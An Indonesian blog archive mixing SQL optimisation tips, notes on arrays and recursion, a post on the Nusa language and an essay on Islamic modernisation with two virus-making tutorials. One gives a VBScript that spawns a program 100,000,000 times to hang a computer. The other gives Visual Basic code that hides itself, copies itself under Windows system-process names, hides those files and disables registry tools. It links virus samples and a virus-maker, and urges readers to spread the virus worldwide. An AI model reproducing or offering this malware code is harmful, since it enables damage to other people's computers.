Saturday, October 8, 2011

OPTIMASI SQL

OPTIMASI SQL


Database administrator dan programer sering menggunakan SQL(Structured Query Language) untuk memberikan instruksi kepada database. Tetapi hati-hati, berikan instruksi yang tepat agar database Anda tidak ngambek.

JIKA DIIBARATKAN manusia, database adalah sahabat yang patuh dan mengerti pada setiap perintah yang diberikan, sayangnya terkadang tidak berlaku sebaliknya, kita tidak patuh dan tidak mengerti pada “perintah” yang diberikan database.
Database kadang dapat “mengomel” dengan berbagai cara,bisa jadi dalam bentuk performance yang menurun, pesan kesala han, atau bahkan hasil laporan yang tidak sesuai. Semuanya dapat kita minimalisasi, bahkan sebelum hal itu terjadi.

SQL dan RDBMS

Optimasi dapat dilakukan dengan berbagai cara, dengan memahami tuning performance pada database dan best practice dari berbagai sumber, Anda dapat memiliki fundamental yang kuat dalam mengoptimalkan kinerja database.
Beberapa teknik dan metoda mungkin memerlukan perlakuan khusus yang berbeda, tergantung pada database yang Anda gunakan.Sebagai contoh, peningkatan kinerja bisa dilakukan dari sisi administrasi database seperti konfi gurasi fi le dan peng-updatean service atau security pack, yang tentunya masing-masing database memiliki keunikan dan teknik tersendiri. Lalu, dengan pertimbangan kompatibilitas, adakah optimasi yang dapat dilakukan secara umum?
Terdapat seperangkat metode dan teknik yang umum diterapkan saat Anda bekerja dengan RDBMS (Relational Database Management System), mungkin tidak semuanya dapat Anda implementasikan karena sangat tergantung pada lingkungan
aplikasi masing-masing, tetapi setidaknya Anda dapat menggunakannya
sebagai panduan dan referensi untuk membentuk sistem yang terbaik sesuai dengan kondisi yang dihadapi.Optimasi melalui perintah SQL juga memegang peranan
yang tidak kalah penting. Inti dari SQL itu sendiri adalah perintah untuk melakukan pengambilan (retrieval), penambahan (insertion), modifi kasi (updating), dan penghapusan (deletion)CODING data, disertai dengan fungsi-fungsi pendukung administrasi dan managemen database. SQL sendiri merupakan sebuah bahasa atau pemrograman standar untuk RDBMS. Walaupun disebut bahasa, mungkin
sedikit janggal saat kita menyebut bahasa pemrograman SQL,lebih familiar jika yang terdengar adalah pemrograman C, Visual Basic, Java, Delphi, dan seterusnya.
Bahasa-bahasa yang disebut belakangan termasuk dalam pemrograman imperative, mudahnya adalah bahasa yang berbentuk instruksi-instruksi inti. Sedangkan, SQL termasuk dalam pemrograman declarative, yang lebih berbentuk kalimat
atau pernyataan.Dalam pengembangannya, SQL terbagi-bagi lagi dalam berbagai
extension sehingga melahirkan berbagai sebutan seperti SQL/PSM (Persistent Stored Modules) yang merupakan standar ANSI/ISO, T-SQL (Transact-SQL) dari Microsoft dan SyBase,PL/SQL (PL merupakan singkatan dari Procedural Language)
yang digunakan oleh Oracle, yang kemudian dikembangkan
lagi menjadi PL/pgSQL yang digunakan PostgreSQL.Cukup membingungkan, bukan? Untungnya konsep dan elemen-elemen dasar dalam SQL seperti statement, query,expression, ataupun clause tetap berlaku umum pada setiap
SQL extension.Kita cukupkan pembahasan teori sampai di sini, berikut adalah
beberapa optimasi sederhana yang dapat Anda lakukan, untuk setidaknya memperbaiki atau mencegah permasalahan, dan meningkatkan performa RDBMS Anda.

Index

Optimasi pertama yang kita bahas adalah permasalahan index,tentu Anda mengetahui bahwa index dapat meningkatkan kecepatan pencarian pada record yang diinginkan. Tetapi, Anda harus cukup selektif dalam memilih fi eld yang perlu di-index,karena tidak semua fi eld memerlukannya Ibaratnya membaca buku, proses pencarian atau scan akan membaca dari awal hingga akhir halaman. Pada fi eld yang diindex,pencarian dilakukan secara index scan, atau membaca
pada index, tidak langsung pada table yang bersangkutan.Sementara pencarian yang dilakukan langsung dengan membaca record demi record pada table disebut dengan table scan. Apakah index scan selalu lebih cepat dibandingkan dengan
table scan? Ternyata tidak juga, table scan bisa jadi bekerja lebih cepat saat mengakses record dalam jumlah relatif kecil,ataupun pada saat aplikasi memang memerlukan pembacaan table secara keseluruhan.
Sebaliknya dalam mengakses record yang besar pada fi eld tertentu, index scan dapat mengurangi operasi pembacaan I/Osehingga tidak jarang menghasilkan kinerja yang lebih cepat.Sebagai patokan, Anda dapat menentukan index pada fi eld
yang sering digunakan, misalnya fi eld yang sering diakses oleh
klausa WHERE, JOIN, ORDER BY, GROUP BY.

Menentukan Tipe Data

Tipe data merupakan permasalahan yang gampang-gampang susah. Dari sisi daya tampung, tipe data yang terlalu kecil atau sebaliknya terlalu besar bagi suatu fi eld, dapat menimbulkan bom waktu yang menimbulkan masalah seiring dengan pertambahan data yang pesat setiap harinya.Menentukan tipe data yang tepat memerlukan ketelitian dan analisa yang baik. Sebagai contoh, kita perlu mengetahui kapan kita menggunakan tipe data char atau varchar.Keduanya menampung karakter, bedanya char menyediakan ukuran penyimpanan yang tetap (fi xed-length), sedangkan varchar menyediakan ukuran penyimpanan sesuai dengan isi
data (variable-length).Patokan umum adalah menggunakan tipe data char jika fi eld
tersebut diperuntukkan untuk data dengan panjang yang konsisten. Misalnya kode pos, bulan yang terdiri dari dua digit (01sampai 12), dan seterusnya. Varchar digunakan jika data yang ingin disimpan memiliki panjang yang bervariasi, atau gunakan varchar(max) jika ukurannya melebihi 8000 byte.

Jangan Izinkan Allow Null

Jika memungkinkan, kurangi penggunaan fi eld yang memperbolehkan
nilai null. Sebagai gantinya, Anda dapat memberikan nilai default pada fi eld tersebut.
Nilai null kadang rancu dalam intepretasi programer dan dapat mengakibatkan kesalahan logika pemrograman. Selain itu, fi eld null mengonsumsi byte tambahan sehingga menambah beban pada query yang mengaksesnya.



Query yang Mudah Terbaca

Karena SQL merupakan bahasa declarative, maka tidak mengherankan
jika Anda membuat query berbentuk kalimat nan panjang walaupun mungkin hanya untuk keperluan menampilkan
satu fi eld! Jangan biarkan query Anda susah dibaca dan dipahami, kecuali Anda memang berniat membuat pusing siapapun yang melihat query Anda. Query panjang yang ditulis dalam 1 CODING baris jelas akan menyulitkan modifi kasi dan pemahaman, akan jauh lebih baik jika Anda menuliskan query dalam format yang
mudah dicerna.Pemilihan huruf besar dan kecil juga dapat mempermudah
pembacaan, misalnya dengan konsisten menuliskan keyword
SQL dalam huruf kapital, dan tambahkan komentar bilamana
diperlukan.

Hindari SELECT *

Select mungkin merupakan keyword yang paling sering digunakan, karena itu optimasi pada perintah SELECT sangat mungkin dapat memperbaiki kinerja aplikasi secara keseluruhan.
SELECT * digunakan untuk melakukan query semua fi eld yang terdapat pada sebuah table, tetapi jika Anda hanya ingin memproses fi eld tertentu, maka sebaiknya Anda menuliskan fi eld yang ingin diakses saja, sehingga query Anda menjadi SELECT fi eld1, fi eld2, fi eld3 dan seterusnya (jangan
pedulikan kode program yang menjadi lebih panjang!). Hal ini akan mengurangi beban lalu lintas jaringan dan lock pada table, terutama jika table tersebut memiliki banyak fi eld dan berukuran besar.

Batasi ORDER BY

Penggunaan ORDER BY yang berfungsi untuk mengurutkan data, ternyata memiliki konsekuensi menambah beban query, karena akan menambah satu proses lagi, yaitu proses sort. Karena itu gunakan ORDER BY hanya jika benar-benar dibutuhkan
oleh aplikasi Anda. Atau jika dimungkinkan, Anda dapat melakukan pengurutan
pada sisi client dan tidak pada sisi server. Misalnya dengan menampung data terlebih dahulu pada komponen grid dan melakukan sortir pada grid tersebut sesuai kebutuhan pengguna.

Subquery Atau JOIN

Adakalanya sebuah instruksi dapat dituliskan dalam bentuk subquery atau perintah JOIN, disarankan Anda memprioritaskan penggunaan JOIN karena dalam kasus yang umum akan menghasilkan performa yang lebih cepat.
Walaupun demikian, mengolah query merupakan suatu seni, selalu ada kemungkinan ternyata subquery bekerja lebih cepat dibandingkan JOIN, misalnya dalam kondisi penggunaan JOIN yang terlalu banyak, ataupun logika query yang belum optimal.

Menulis query dengan rapi dalam program.
106 KNOW-HOW 12/2008
Gunakan WHERE dalam SELECT

“Di mana ada gula di sana ada semut”. Untuk programer database,
pepatah itu perlu dimodifi kasi menjadi “di mana ada
SELECT di sana ada WHERE”, untuk mengingatkan pentingnya
klausa WHERE sebagai kondisi untuk menyaring record sehingga meminimalkan beban jaringan. Saat sebuah table dengan jumlah data yang sangat besar
diproses, juga terjadi proses lock terhadap table tersebut sehingga menyulitkan pengaksesan table yang bersangkutan
oleh pengguna yang lain. Bahkan jika Anda bermaksud memanggil seluruh record,
tetap menggunakan WHERE merupakan kebiasaan yang baik.Jika Anda telah menggunakan WHERE pada awal query, maka kapanpun Anda ingin menambahkan kondisi tertentu, Anda tinggal menyambung query tersebut dengan klausa AND diikuti kondisi yang diinginkan.Tapi bagaimana menggunakan WHERE jika benar-benar tidak ada kondisi apapun? Anda dapat menuliskan suatu kondisi yang
pasti bernilai true, misalnya SELECT .... WHERE 1=1. Bahkan
tools open source phpMyAdmin yang berfungsi untuk mena ngani database MySQL selalu menyertakan default klausa WHERE 1 pada perintah SELECT, di mana angka 1 pada MySQL berarti nilai true.

Kecepatan Akses Operator

WHERE 1=1 dan WHERE 0 <> 1 sama-sama merupakan kondisi
yang menghasilkan nilai true. Tetapi, dalam hal ini lebih baik
Anda menggunakan WHERE 1=1 daripada WHERE 0 <> 1. Hal ini dikarenakan operator = diproses lebih cepat dibandingkan
dengan operator <>.
Dari sisi
1. =
2. >, >=, <. <=
3. LIKE
4. <>
Tidak dalam setiap kondisi operator dapat disubtitusikan
seperti contoh sederhana di atas, tetapi prioritaskanlah penggunaan
operator yang tercepat.

Membatasi Jumlah Record

Bayangkan Anda menampilkan isi sebuah table dengan menggunakan
SELECT, dan ternyata table tersebut memiliki jutaan record yang sangat tidak diharapkan untuk tampil seluruhnya. Skenario yang lebih buruk masih dapat terjadi, yaitu query tersebut diakses oleh ratusan pengguna lain dalam waktu bersamaan!
Untuk itu, Anda perlu membatasi jumlah record yang berpotensi mengembalikan record dalam jumlah besar (kecuali memang benar-benar dibutuhkan), pada SQL Server, Anda dapat menggunakan operator TOP di dalam perintah SELECT.
Contohnya SELECT TOP 100 nama... akan menampilkan
100 record teratas fi eld nama. Jika menggunakan MySQL, Anda dapat menggunakan LIMIT untuk keperluan yang sama.

Batasi Penggunaan Function

Gunakan fungsi-fungsi yang disediakan SQL seperlunya saja. Sebagai contoh, jika Anda menemukan query sebagai berikut: SELECT nama FROM tbl_teman WHERE ucase(nama) = ‘ABC’, nampak query tersebut ingin mencari record yang memiliki
data berisi “abc”, fungsi ucase digunakan untuk mengubah si fi eld nama menjadi huruf besar dan dibandingkan dengan konstanta “ABC” untuk meyakinkan bahwa semua data “abc” akan tampil, walaupun dituliskan dengan huruf kecil, besar,
ataupun kombinasinya.
Tetapi, cobalah mengganti query tersebut menjadi SELECT nama FROM tbl_teman WHERE nama = ‘ABC’, perhatikan query ini tidak menggunakan function ucase. Apakah menghasilkan result yang sama dengan query pertama? Jika pengaturan database Anda tidak case-sensitive (dan umumnya secara
default memang tidak case-sensitive), maka hasil kedua query tersebut adalah sama. Artinya, dalam kasus ini Anda sebenarnya tidak perlu menggunakan function ucase!

Baca dari Kiri ke Kanan

Query yang Anda tulis akan diproses dari kiri ke kanan, misalkan terdapat query WHERE kondisi1 AND kondisi2 AND kondisi3, maka kondisi1 akan terlebih dahulu dievaluasi, lalu kemudian kondisi2, kondisi3, dan seterusnya. Tentunya dengan asumsi tidak ada kondisi yang diprioritaskan/dikelompokkan dengan
menggunakan tanda kurung.Logika operator AND akan langsung menghasilkan nilai false saat ditemukan salah satu kondisi false, maka letakkan kondisi yang paling mungkin memiliki nilai false pada posisi paling kiri. Hal ini dimaksudkan agar SQL tidak perlu lagi mengevaluasi kondisi berikutnya saat menemukan salah satu kondisi telah bernilai false. Jika Anda bingung memilih kondisi mana yang layak menempati
posisi terkiri karena kemungkinan falsenya sama atau tidak bisa diprediksi, pilih kondisi yang lebih sederhana untuk diproses.

Gambar dalam Database

Database memang tidak hanya diperuntukkan sebagai penyimpanan teks saja, tetapi dapat juga berupa gambar. Kalau pepatah mengatakan sebuah gambar bermakna sejuta kata, tidak berarti kita harus menyediakan tempat penyimpanan seukuran sejuta kata untuk menampung satu gambar! Akan lebih baik
bagi kinerja database jika Anda hanya menyimpan link atau
phpMyAdmin mengingatkan penggunaan WHERE.
CODING
12/2008 KNOW-HOW 107
lokasi gambar di dalam database, dibandingkan menyimpan fi sik gambar tersebut.
Kecuali jika Anda tidak memiliki pilihan lain, misalnya karena alasan keamanan atau tidak tersedianya tempat penyimpanan ain untuk gambar Anda selain di dalam database.Tetapi, jelas jika Anda dapat memisahkan gambar secara fi sik
dari database, maka ukuran dan beban database akan relatif
berkurang drastis, proses seperti back-up dan migrasi akan lebih mudah dilakukan.

Pengukuran Kinerja

Terdapat tools optimizer yang bervariasi untuk tiap RDBMS, Anda dapat menggunakannya sebagai panduan untuk meningkatkan kinerja query, di mana Anda dapat mengetahui berapa lama waktu eksekusi atau operasi apa saja yang dilakukan sebuah query. Jika Anda menemukan sebuah query tampak tidak optimal,
berusahalah menulis ulang query tersebut dengan teknik dan metode yang lebih baik. Semakin banyak query yang dapat dioptimasi, akan semakin baik kinerja aplikasi Anda. Terutama saat frekuensi pemakaian query tersebut relatif tinggi.

Back-up

Buatlah back-up otomatis secara periodik, sebaiknya tes dan simulasikan prosedur restore database dan perhitungkan waktu yang diperlukan untuk membuat sistem pulih kembali jika terjadi sesuatu yang tidak diharapkan pada database.
Lakukan proses back-up pada waktu di mana aktivitas relatif rendah agar tidak mengganggu kegiatan operasional.

Banyak Jalan Menuju Roma

Berikan satu masalah pada beberapa programer, maka Anda mungkin akan mendapatkan beberapa solusi yang berbedabeda. Banyak alternatif yang dapat diciptakan untuk menghasilkan sesuatu, tetapi tentunya kita menginginkan alternatif
yang terbaik. Karena itu, jangan ragu mencoba menuliskan ulang query
Anda dengan cara lain jika Anda melihat kemungkinan peningkatan kinerja, contohnya pada potongan query berikut:
WHERE SUBSTRING(nama,1,1) =’b’ Query di atas akan mengambil record dengan kondisi karakter pertama kolom nama adalah “b”, sehingga akan tampil isi
record seperti “Budi”, “Badu”, “Benny” dan seterusnya. Cara lain untuk menghasilkan record yang sama adalah sebagai berikut:
WHERE nama LIKE ‘b%’ Hasil yang ditampilkan kedua query tersebut akan sama, tetapi performa yang dihasilkan (terutama untuk record berukuran besar) akan berbeda. Umumnya kondisi LIKE akan bekerja dengan lebih cepat dibandingkan function SUBSTRING.
Contoh lain yang lebih kompleks adalah seperti query berikut:
SELECT NIP, nama FROM tbl_pegawai WHERE dept = ‘IT’ OR kota
= ‘jakarta’ OR divisi = ‘programer’
Perhatikan query di atas memiliki tiga kondisi yang dipisahkan
oleh klausa OR. Alternatif lain adalah dengan menuliskan query
sebagai berikut:
SELECT NIP, nama FROM tbl_pegawai WHERE dept = ‘IT’
UNION ALL
SELECT NIP, nama FROM tbl_pegawai WHERE kota = ‘jakarta
UNION ALL
SELECT NIP, nama FROM tbl_pegawai WHERE divisi = ‘programer’
Walaupun penulisan query menjadi lebih panjang, bisa jadi alternatif ini akan lebih baik. Mengapa? Dengan asumsi fi eld dept memiliki index, sementara fi eld kota dan divisi tidak diindex, query pertama tidak akan menggunakan index dan melakukan table scan. Berbeda dengan query kedua, index akan tetap
dilakukan pada sebagian query sehingga akan menghasilkan kinerja yang relatif lebih baik.

LEBIH LANJUT

Friday, October 7, 2011

CARA BUAT VIRUS DARI NOTEPAD

1.buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

untuk mendownload scipt, klik disini

3.
Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.






Thursday, October 6, 2011

Bahasa Nusa - Bahasa Pemograman Anak Bangsa



Nusa - Bahasa Pemrograman Karya Anak Bangsa

Kalau anda seorang programmer, anda pasti tau bahasa program seperti C, C++, Java, php, dll.
Hampir semua bahasa pemrograman yang dipakai sekarang ini diciptakan oleh orang - orang Amerika dan Eropa.
Di Asia ada buatan orang jepang Rubi, dan sekarang buatan anak Indonesia.

Nusa ini buatan seorang pakar IT kita Bernaridho I. Hutabarat.
Beliau seorang ahli dalam bidang database di Indonesa. Lulusan Informatika ITB yang melanjutkan kuliah non gelar di Jepang serta S2 di Inggris, dan juga pernah menjadi dosen di STT Telkom.
Bernaridho juga punya prestasi lain baru - baru ini, yaitu ikut serta dalam kelompok orang-orang yang mendapat kehormatan membawa Api Obor Olimpiade Beijing 2008.

Berangkat dari keinginan ingin memudahkan orang mengerti suatu bahasa pemrograman dengan cepat, diciptakannyalah Bahasa Nusa ini.
Translator (compiler, linker, interpreter) Nusa ini sudah selesai dibuat.
Keseriusan pembuatan Nusa ini ditandai dengan target yang dipasangnya yaitu “akan dipakai oleh banyak orang diseluruh dunia”.


Nusa bukan cuma sebuah kata dalam bahasa Indonesia.
Tapi bahasa yang menambah koleksi dunia dari Indonesia.
Bernaridho bukan butuh pengakuan.
Nusa tidak ingin hanya menjadi koleksi dunia

Nusa tidak ingin hanya menjadi pengharum nama Indonesia.
Lebih dari itu semua, Nusa ingin mendunia terutama me- Nusantara.
Dipakai menjadi standar di Indonesia, agar keterikatan kita akan ketergantungan update software dari bangsa lain bisa dikurangi.
Buku pemrograman menjadi murah, software bisa dibuat seperti memasak nasi.
Pendidikan menjadi terjangkau, Mesin - mesin otomatis tercipta ibarat tongkat kayu menjadi tanaman ditanah ini.
Dan jika memungkinkan lebih lagi, ahli-ahli bahasa Nusa kelak menjadi komoditi export negara ini.

Selamat datang Nusa, kami tunggu kesempurnaannya


info lebih lengkap masuk saja ke http://nusa.bernaridho.net

Wednesday, October 5, 2011

cara membuat virus dengan vb


Dec 2, '07 12:05 PM
untuk


Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.

Pertama, bikin form buat virus kamu pake Standart exe saja

1.
Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri 
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file 
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus 
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry 
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon
On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti.
Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !

Monday, April 11, 2011

Pengertian Array, Rekursif, dan Iteratif

PENGERTIAN ARRAY


Suatu array adalah sebuah struktur data yang terdiri atas banyak variabel dengan tipe data sama, dimana masing-masing elemen variabel mempunyai nilai indeks. Setiap elemen array mampu untuk menyimpan satu jenis data (yaitu: variabel).
Sifat Array
Array merupakan struktur data yang statis, yaitu jumlah elemen yang ada harus ditentukan terlebih dahulu dan tak bisa di ubah saat program berjalan.


STRUKTUR ARRAY
Array Satu Dimensi
Pendefinisian array secara umum adalah sebagai berikut: jika kita ingin membuat beberapa array dengan tipe/jenis yang sama, kita lebih baik jika mendeklarasikan dengan type selanjutnya dengan deklarasi var.


Array dua dimensi
Merupakan sebuah variabel yang menyimpan sekumpulan data yang memiliki tipe sama dan elemen yang akan diakses melalui 2 indeks atau subskrip yaitu indeks baris dan indeks kolom.


Array Multidimensi
Dalam array multidimensi terdiri atas baris (row) dan kolom (column). Index pertama adalah baris dan yang kedua adalah kolom.



PENGERTIAN ITERATIF
 Perulangan iteratif merupakan perulangan yang melakukan proses perulangan terhadap sekelompok instruksi di mana perulangan tersebut akan berhenti jika batasan syarat sudah tidak terpenuhi.

Kelebihan Perulangan Iteratif:
• Mudah dipahami dan mudah melakukan debugging ketika ada perulangan yang salah.
• Dapat melakukan nested loop atau yang disebut dengan looping bersarang.
• Proses lebih singkat karena perulangan terjadi pada kondisi yang telah disesuaikan.
• Jarang terjadi overflow karena batasan dan syarat perulangan yang jelas.
Kelemahan Perulangan Iteratif:
• Tidak dapat menggunakan batasan berupa fungsi.
• Perulangan dengan batasan yang luas akan menyulitkan dalam pembuatan program perulangan itu sendiri.

PENGERTIAN REKURSIF

Rekursif berarti bahwa suatu proses bisa memanggil dirinya sendiri. Menurut definisi dalam Microsoft Bookshelf, Rekursif adalah kemampuan suatu rutin untuk memanggil dirinya sendiri. Dalam Rekursif sebenarnya terkandung pengertian prosedur dan fungsi. Perbedaannya adalah bahwa rekursif bisa memanggil ke dirinya sendiri, tetapi prosedur dan fungsi harus dipanggil lewat pemanggil prosedur dan fungsi. Rekursif merupakan teknik pemrograman yang penting dan beberapa bahasa pemrograman mendukung keberadaan proses rekursif ini. Dalam prosedur dan fungsi, pemanggilan ke dirinya sendiri bisa berarti proses berulang yang tidak bisa diketahui kapan akan berakhir.

Kelebihan Perulangan Rekursif:
• Sangat mudah untuk melakukan perulangan dengan batasan yang luas dalam artian melakukan perulangan dalam skala yang besar.
• Dapat melakukan perulangan dengan batasan fungsi.
Kekurangan Perulangan Rekursif:
• Tidak bisa melakukan nested loop atau looping bersarang.
• Biasanya membuat fungsi sulit untuk dipahami, hanya cocok untuk persoalan tertentu saja.
• Trace error sulit.
• Memerlukan stack yang lebih besar, sebab setiap kali fungsi dipanggil, variabel lokal dan parameter formal akan ditempatkan ke stack dan ada kalanya akan menyebabkan stack tak cukup lagi (Stack Overrun).
• Proses agak berbelit-belit karena terdapat pemangilan fungsi yang berulang-ulang dan pemanggilan data yang ditumpuk.

 


Wednesday, January 26, 2011

GERAKAN PEMIKIRAN MODERN(MORDENISASI DUNIA ISLAM)

1.1 .Gerakan-gerakan Modernisasi Islam Dan Tokoh-tokohnya
              Pada abad-18 M dan awal abad ke-19 M dunia islam  berada dalam situasi yang sangat kritis.hampir seluruh negara atau wilayah islam jatuh ketangan para penguwasa atau penjajah barat.penjajahan yang dilakukan bangsa barat yang notabene kristen atas dunia islam,menyadarkan bangsa-bangsa muslim dari keterlenaan mereka.mereka mulai menyadari kelemahan dan ketertinggalan umat islam.bangsa pertama merasakan adanyaketertinggalan itu antara lain adalah Turki Usmani.hal itu di sebabkan karena kerajaan ini yang pertama dan utama menghadapi kekuatan eropa.kesadaran ini memaksa para penguasa dan para pejuang Turki Usmani untuk belajar dari kemajuan bangsa-bangsa barat.
            Pembaharuan yang dilakukan oleh kerajaan Turki Usmani pada masa itu,bukan dalam bidang pemikiran,tetapi diutamakan dalam pranata sosial politik dan militer.untuk itu,kerajaan Turki Usmani mendatangkan penelitih militer dari Prancis bernama De Rochefort 1717 M.kemudian pada tahun 1729 M datang lagi seorang pewira Prancis bernama Conte De Bonneval,karena sering berkenalan dengan para penguasa dan tentara Islam,ia memutuskan masuk Islam dan mengganti namanya menjadi Humbaraci Pasha.
            Kehadiaran para tokoh modernis(pembaharuan)itu pada umumnya untuk membangkitkan kesadaran keagamaan umat islam.di antara tokoh-tokoh pembaharuan yang lahir dalam dunia islam sebelum  abad ke-19 adalah sebagai berikut:


a.Muhammad ibn Abdul Wahhab(1730-17187 M)


            Muhammad ibn Abdul Wahhab lahir di Uyaina,Nejd pada 1730 M.ia berasal dari keluarga ulama terkenal.pemikiran gerakan Muhammad ibn Abdul Wahhab didasari atas kenyataan yang ada dibsekitar tempat kelahiranya.ia melihat bahwa kermunian ajaran islam telah dirusak oleh ajaran-ajaran tarekat dan praktek-praktek mistik yang berlebihan.
            Diantara pemikiran-pemikiran Muhammad ibn Abdul Wahhab yang mempunyai pengaruh  dalam perkembangan pemikiran pembaharuan pada abab ke-19 M adalah :
  1. Al-Qur’an dan hadist merupakan sumber asli ajaran islam.pendapat para ulama bukan merupakan sumber ajaran islam
  2. Taklid kepada ulama tidak dibenarkan
  3. Pintu ijtihad tidak tertutup.

b.Syah Waliullah(1730-1762 M)

            Syah Walillah dilahirkan di Delhi tahun 1730 M.ia berasal dari keluarga ulama terkenal India.aktifitasnya selain mendidik juaga mengarang.diantara karyanya yang monumental adalah Hujjaltul Baligham.
            dalam situai sosial politik pemerintahan kerajaan Islam Mughal,ia melihat adanya kelemahan dalam sistem yang diterapkan,sehingga kerajaan islam dan umat islam India mengalami kelemahan dan kemunduran.diantara kelemahan penyebab kemuduran umat islam di India adalah:
  1. Terjadinya perubahan sistem pemerintahan islam dari sistem Kekhalifahan ke sistem kerajaan
  2. sistem demokrasi dalam Kekhalifahan diganti dengan sistem Monarchi absolut
  3. Hasil pajak di punggut dari rakyat digunakan untuk berpesta pora para sultan
  4. Ketidakadilan dan kesewenangan ada di mana-mana
  5. Perpecahan dikalangan umat islam disebabkan oleh adanya berbagai aliran  dalam islam
  1. Masuknya adat-istiadat dan ajaran bukan islam kedalam keyakinan uamat islam,terutama setelah Sultan Akbar mencitakan Din Ilahiyat
  2. Banyak umat islam India yang bertaklid kepada pendat ulama-ulama di masa lalu
  3. Adanya keyakinan umat islsm Indis bshwa pintu ijtihad sudah tertutup.

Atas dasar itulah Syah Waliullah melakukan gerakan pembaharuan  di india.selain melakukan pemberantasan persoalan tersebut di atas,ia juga melakukan mordenisasi dalm penerjemahan Al-Qur’an kedalam bahasa Persia.


c. Sultan Mahmmud II (1785-1839 M)

            Diantara para Sultan Usmani yang banyak melakukan gerakan dalam islam adalah Sultan Mahmmud II.ia dilahirkan pada tahun 1785 M dan diangkat sebagai Sulatan tahun 1809 M.selama masa pemerintahanya,banyak dilakukan untuk memajukan kesultanan dan umat islam.diantara gerakan medernisasi yang dilakukan adalah:
  1. Dalam bidang meliter .ia membentuk korp baru ntahun 1826 M dan membubarkan tentara Jennissari yang terlalu banyak ikut serta dalam pemerintahan
  2. Menerapkan sistem demokrasi dalam pemerintahanya
  3. Ia menghapus kekultusan sultan yang dianggap sici oleh rakyat
  4. menghapuskan hukuman mati yang biasa dilakukan para penguasa terhadap tersangka,tanpa melalui prosedur pengadilan
  5. Mengadakan bembaharuan dalam bidang pendidikan dengan memasukakn kurikulum umum ke dalam lembaga-lembaga pendidikan madrasah
